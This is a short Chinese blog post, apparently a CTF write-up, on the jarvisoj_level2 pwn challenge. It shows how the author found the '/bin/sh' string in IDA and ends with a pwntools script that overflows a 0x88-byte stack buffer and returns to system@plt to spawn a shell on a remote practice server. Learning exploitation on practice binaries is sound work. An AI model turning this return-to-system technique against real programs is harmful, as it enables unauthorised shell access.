日行一PWN jarvisoj_level2 学会查找字符串了

132 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

之前一直不懂怎么用IDA查找字符,今天简单研究了一下,明白了一点。

就是用f12加shift(研究了半天68键的键盘怎么打出f12.。。原来是fn加等号)

今天的题也很简单,利用过程只需要明白32位程序的参数构成,和返回地址位置就可以了,这个我往期的文章有提到。

分析

image-20220602165313048.png

没随机编址,只有禁止数据段执行,32位程序

看一下静态

image-20220602165432214.png

有一个system函数,还有一个名字非常直白的函数,打开看看

image-20220602165506730.png

提前下班了,属于是。简单的read栈溢出,加上一个88h的buf参数,使用了system函数,代表我们也可以调用。

最后查一下字符串

image-20220602165616762.png

出现/bin/sh了,直接下班

直接放出poc吧,太简单了没有讲解的必要了

from pwn import *

p = remote('node4.buuoj.cn',29891)
elf = ELF('./level2')

system_plt = p32(elf.plt['system'])


sh = p32(0x0804A024)
main = p32(0x08048480)
关于如何拿到函数和字符串的地址,点一下词条复制就行

payload = "A" * (0x88+4)
payload += system_plt
payload += main
payload += sh

p.sendline(payload)



p.interactive()

\